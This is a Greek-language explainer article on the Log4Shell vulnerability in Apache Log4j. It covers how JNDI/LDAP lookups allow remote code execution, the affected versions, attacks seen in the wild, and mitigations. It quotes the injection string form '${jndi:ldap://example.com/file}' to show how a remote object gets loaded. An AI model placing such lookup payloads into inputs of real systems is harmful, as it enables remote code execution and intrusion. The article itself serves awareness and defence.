Πίνακας περιεχομένων[Κρύβω][Προβολή]
Στα τέλη Νοεμβρίου 2021, ανακαλύψαμε μια σημαντική απειλή για την ασφάλεια στον κυβερνοχώρο. Αυτή η εκμετάλλευση θα επηρεάσει δυνητικά εκατομμύρια υπολογιστικά συστήματα παγκοσμίως.
Αυτός είναι ένας οδηγός σχετικά με την ευπάθεια Log4j και πώς ένα ελάττωμα σχεδιασμού που αγνοήθηκε άφησε πάνω από το 90% των παγκόσμιων υπηρεσιών υπολογιστών ανοιχτό σε επιθέσεις.
Το Apache Log4j είναι ένα βοηθητικό πρόγραμμα καταγραφής ανοιχτού κώδικα βασισμένο σε Java που αναπτύχθηκε από το Ίδρυμα Λογισμικού Apache. Αρχικά γράφτηκε από τον Ceki Gülcü το 2001, τώρα αποτελεί μέρος του Apache Logging Services, ενός έργου του Apache Software Foundation.
Οι εταιρείες σε όλο τον κόσμο χρησιμοποιούν τη βιβλιοθήκη Log4j για να ενεργοποιήσουν τη σύνδεση στις εφαρμογές τους. Στην πραγματικότητα, η βιβλιοθήκη Java είναι τόσο πανταχού παρούσα, που μπορείτε να τη βρείτε σε εφαρμογές από το Amazon, τη Microsoft, την Google και άλλα.
Η εξέχουσα θέση της βιβλιοθήκης σημαίνει ότι οποιοδήποτε πιθανό ελάττωμα στον κώδικα θα μπορούσε να αφήσει εκατομμύρια υπολογιστές ανοιχτούς στο hacking. Στις 24 Νοεμβρίου 2021, α την ασφάλεια σύννεφο ερευνητής που εργάζεται για την Alibaba ανακάλυψε ένα τρομερό ελάττωμα.
Η ευπάθεια Log4j, γνωστή και ως Log4Shell, υπήρχε απαρατήρητη από το 2013. Η ευπάθεια επέτρεπε σε κακόβουλους φορείς να εκτελούν κώδικα σε επηρεαζόμενα συστήματα που εκτελούσαν το Log4j. Αποκαλύφθηκε δημόσια στις 9 Δεκεμβρίου 2021
Οι ειδικοί του κλάδου αποκαλούν το ελάττωμα Log4Shell μεγαλύτερη ευπάθεια στην πρόσφατη μνήμη.
Την εβδομάδα μετά τη δημοσίευση της ευπάθειας, οι ομάδες κυβερνοασφάλειας εντόπισαν εκατομμύρια επιθέσεις. Μερικοί ερευνητές παρατήρησαν ακόμη και έναν ρυθμό πάνω από εκατό επιθέσεις ανά λεπτό.
Πώς λειτουργεί;
Για να καταλάβουμε γιατί το Log4Shell είναι τόσο επικίνδυνο, πρέπει να καταλάβουμε τι μπορεί να κάνει.
Η ευπάθεια Log4Shell επιτρέπει την αυθαίρετη εκτέλεση κώδικα, που ουσιαστικά σημαίνει ότι ένας εισβολέας μπορεί να εκτελέσει οποιαδήποτε εντολή ή κώδικα σε μια μηχανή-στόχο.
Πώς το πετυχαίνει αυτό;
Πρώτα, πρέπει να καταλάβουμε τι είναι το JNDI.
Το Java Naming and Directory Interface (JNDI) είναι μια υπηρεσία Java που επιτρέπει στα προγράμματα Java να ανακαλύπτουν και να αναζητούν δεδομένα και πόρους μέσω ενός ονόματος. Αυτές οι υπηρεσίες καταλόγου είναι σημαντικές επειδή παρέχουν ένα οργανωμένο σύνολο εγγραφών στους προγραμματιστές που μπορούν εύκολα να αναφέρονται κατά τη δημιουργία εφαρμογών.
Το JNDI μπορεί να χρησιμοποιήσει διάφορα πρωτόκολλα για πρόσβαση σε έναν συγκεκριμένο κατάλογο. Ένα από αυτά τα πρωτόκολλα είναι το Lightweight Directory Access Protocol ή LDAP.
Κατά την καταγραφή μιας συμβολοσειράς, log4j εκτελεί αντικαταστάσεις συμβολοσειρών όταν συναντούν εκφράσεις της φόρμας ${prefix:name}
.
Για παράδειγμα, Text: ${java:version}
μπορεί να καταγραφεί ως Κείμενο: Java έκδοση 1.8.0_65. Αυτού του είδους οι αντικαταστάσεις είναι συνηθισμένες.
Μπορούμε επίσης να έχουμε εκφράσεις όπως π.χ Text: ${jndi:ldap://example.com/file}
που χρησιμοποιεί το σύστημα JNDI για να φορτώσει ένα αντικείμενο Java από μια διεύθυνση URL μέσω του πρωτοκόλλου LDAP.
Αυτό φορτώνει αποτελεσματικά τα δεδομένα που προέρχονται από αυτήν τη διεύθυνση URL στο μηχάνημα. Οποιοσδήποτε πιθανός χάκερ μπορεί να φιλοξενήσει κακόβουλο κώδικα σε μια δημόσια διεύθυνση URL και να περιμένει να τον καταγράψουν οι μηχανές που χρησιμοποιούν το Log4j.
Δεδομένου ότι τα περιεχόμενα των μηνυμάτων καταγραφής περιέχουν δεδομένα ελεγχόμενα από τον χρήστη, οι χάκερ μπορούν να εισαγάγουν τις δικές τους αναφορές JNDI που παραπέμπουν σε διακομιστές LDAP που ελέγχουν. Αυτοί οι διακομιστές LDAP μπορεί να είναι γεμάτοι από κακόβουλα αντικείμενα Java τα οποία το JNDI μπορεί να εκτελέσει μέσω της ευπάθειας.
Αυτό που το κάνει χειρότερο είναι ότι δεν έχει σημασία αν η εφαρμογή είναι εφαρμογή διακομιστή ή πελάτη.
Εφόσον υπάρχει τρόπος για τον καταγραφέα να διαβάσει τον κακόβουλο κώδικα του εισβολέα, η εφαρμογή εξακολουθεί να είναι ανοιχτή σε exploits.
Ποιος επηρεάζεται;
Η ευπάθεια επηρεάζει όλα τα συστήματα και τις υπηρεσίες που χρησιμοποιούν το APache Log4j, με εκδόσεις 2.0 έως και 2.14.1.
Αρκετοί ειδικοί σε θέματα ασφάλειας συμβουλεύουν ότι η ευπάθεια μπορεί να επηρεάσει ορισμένες εφαρμογές που χρησιμοποιούν Java.
Το ελάττωμα ανακαλύφθηκε για πρώτη φορά στο βιντεοπαιχνίδι Minecraft που ανήκει στη Microsoft. Η Microsoft προέτρεψε τους χρήστες της να αναβαθμίσουν το λογισμικό Minecraft έκδοσης Java για να αποτρέψουν οποιονδήποτε κίνδυνο.
Η Jen Easterly, Διευθύντρια της Υπηρεσίας Κυβερνοασφάλειας και Ασφάλειας Υποδομών (CISA) λέει ότι οι πωλητές έχουν μεγάλη ευθύνη για να αποτρέψετε τους τελικούς χρήστες από κακόβουλους παράγοντες που εκμεταλλεύονται αυτήν την ευπάθεια.
«Οι πωλητές θα πρέπει επίσης να επικοινωνούν με τους πελάτες τους για να διασφαλίσουν ότι οι τελικοί χρήστες γνωρίζουν ότι το προϊόν τους περιέχει αυτήν την ευπάθεια και θα πρέπει να δώσουν προτεραιότητα στις ενημερώσεις λογισμικού».
Σύμφωνα με πληροφορίες, οι επιθέσεις έχουν ήδη ξεκινήσει. Η Symantec, μια εταιρεία που παρέχει λογισμικό κυβερνοασφάλειας, έχει παρατηρήσει ποικίλο αριθμό αιτημάτων επίθεσης.
Ακολουθούν ορισμένα παραδείγματα των τύπων επιθέσεων που έχουν εντοπίσει οι ερευνητές:
- botnets
Τα botnet είναι ένα δίκτυο υπολογιστών που βρίσκονται υπό τον έλεγχο ενός μόνο επιτιθέμενου μέρους. Βοηθούν στην εκτέλεση επιθέσεων DDoS, στην κλοπή δεδομένων και άλλες απάτες. Οι ερευνητές παρατήρησαν το botnet Muhstik σε σενάρια φλοιού που λήφθηκαν από το exploit Log4j.
- XMRig Miner Trojan
Το XMRig είναι ένας εξόρυξης κρυπτονομισμάτων ανοιχτού κώδικα που χρησιμοποιεί CPU για την εξόρυξη του διακριτικού Monero. Οι εγκληματίες του κυβερνοχώρου μπορούν να εγκαταστήσουν το XMRig στις συσκευές των ανθρώπων, ώστε να μπορούν να χρησιμοποιούν την επεξεργαστική τους ισχύ χωρίς να το γνωρίζουν.
- Khonsari Ransomware
Το Ransomware αναφέρεται σε μια μορφή κακόβουλου λογισμικού που έχει σχεδιαστεί για κρυπτογράφηση αρχείων σε υπολογιστή. Οι επιτιθέμενοι μπορούν στη συνέχεια να απαιτήσουν πληρωμή με αντάλλαγμα την επιστροφή πρόσβασης στα κρυπτογραφημένα αρχεία. Οι ερευνητές ανακάλυψαν το ransomware Khonsari στις επιθέσεις Log4Shell. Στοχεύουν διακομιστές Windows και κάνουν χρήση του πλαισίου .NET.
Τι μέλλει γενέσθαι;
Οι ειδικοί προβλέπουν ότι μπορεί να χρειαστούν μήνες ή ίσως και χρόνια για να διορθωθεί πλήρως το χάος που προκαλεί η ευπάθεια Log4J.
Αυτή η διαδικασία περιλαμβάνει την ενημέρωση κάθε συστήματος που επηρεάζεται με μια ενημερωμένη έκδοση. Ακόμα κι αν όλα αυτά τα συστήματα επιδιορθωθούν, εξακολουθεί να υπάρχει η διαφαινόμενη απειλή πιθανών κερκόπορτων που οι χάκερ μπορεί να έχουν ήδη προσθέσει στο παράθυρο ότι οι διακομιστές ήταν ανοιχτοί για επίθεση.
Πολλές λύσεις και μετριασμούς υπάρχουν για να αποτρέψουν την εκμετάλλευση των εφαρμογών από αυτό το σφάλμα. Η νέα έκδοση Log4j 2.15.0-rc1 άλλαξε διάφορες ρυθμίσεις για να μετριάσει αυτήν την ευπάθεια.
Όλες οι λειτουργίες που χρησιμοποιούν το JNDI θα απενεργοποιηθούν από προεπιλογή και οι απομακρυσμένες αναζητήσεις έχουν επίσης περιοριστεί. Η απενεργοποίηση της δυνατότητας αναζήτησης στη ρύθμιση του Log4j θα συμβάλει στη μείωση του κινδύνου πιθανών εκμεταλλεύσεων.
Εκτός του Log4j, εξακολουθεί να υπάρχει η ανάγκη για ένα ευρύτερο σχέδιο για την αποτροπή των εκμεταλλεύσεων ανοιχτού κώδικα.
Νωρίτερα τον Μάιο, ο Λευκός Οίκος κυκλοφόρησε ένα εκτελεστικό διάταγμα που στόχευε στη βελτίωση της εθνικής ασφάλειας στον κυβερνοχώρο. Περιλάμβανε μια διάταξη για μια τιμολόγηση υλικού λογισμικού (SBOM) που ήταν ουσιαστικά ένα επίσημο έγγραφο που περιείχε μια λίστα με κάθε στοιχείο που χρειαζόταν για τη δημιουργία της εφαρμογής.
Αυτό περιλαμβάνει μέρη όπως το ανοικτού κώδικα πακέτα, εξαρτήσεις και API που χρησιμοποιούνται για ανάπτυξη. Αν και η ιδέα των SBOM είναι χρήσιμη για τη διαφάνεια, θα βοηθήσει πραγματικά τον καταναλωτή;
Η αναβάθμιση των εξαρτήσεων μπορεί να είναι πολύ δύσκολη. Οι εταιρείες μπορούν απλώς να επιλέξουν να πληρώσουν τυχόν πρόστιμα αντί να διακινδυνεύσουν να σπαταλήσουν επιπλέον χρόνο βρίσκοντας εναλλακτικά πακέτα. Ίσως αυτά τα SBOM να είναι χρήσιμα μόνο εάν έχουν έκταση περιορίζεται περαιτέρω.
Συμπέρασμα
Το ζήτημα Log4j είναι κάτι περισσότερο από ένα απλό τεχνικό πρόβλημα για οργανισμούς.
Οι ηγέτες επιχειρήσεων πρέπει να γνωρίζουν τους πιθανούς κινδύνους που θα μπορούσαν να προκύψουν όταν οι διακομιστές, τα προϊόντα ή οι υπηρεσίες τους βασίζονται σε κώδικα που οι ίδιοι δεν διατηρούν.
Η στήριξη σε εφαρμογές ανοιχτού κώδικα και τρίτων μερών συνοδεύεται πάντα από κάποιους κινδύνους. Οι εταιρείες θα πρέπει να εξετάσουν το ενδεχόμενο να επεξεργαστούν στρατηγικές μετριασμού του κινδύνου πριν έρθουν στο φως νέες απειλές.
Μεγάλο μέρος του Ιστού βασίζεται σε λογισμικό ανοιχτού κώδικα που διατηρούν χιλιάδες εθελοντές σε όλο τον κόσμο.
Εάν θέλουμε να διατηρήσουμε τον ιστό ασφαλή, οι κυβερνήσεις και οι εταιρείες θα πρέπει να επενδύσουν στη χρηματοδότηση προσπαθειών ανοιχτού κώδικα και σε οργανισμούς κυβερνοασφάλειας όπως έλαμψε.
Αφήστε μια απάντηση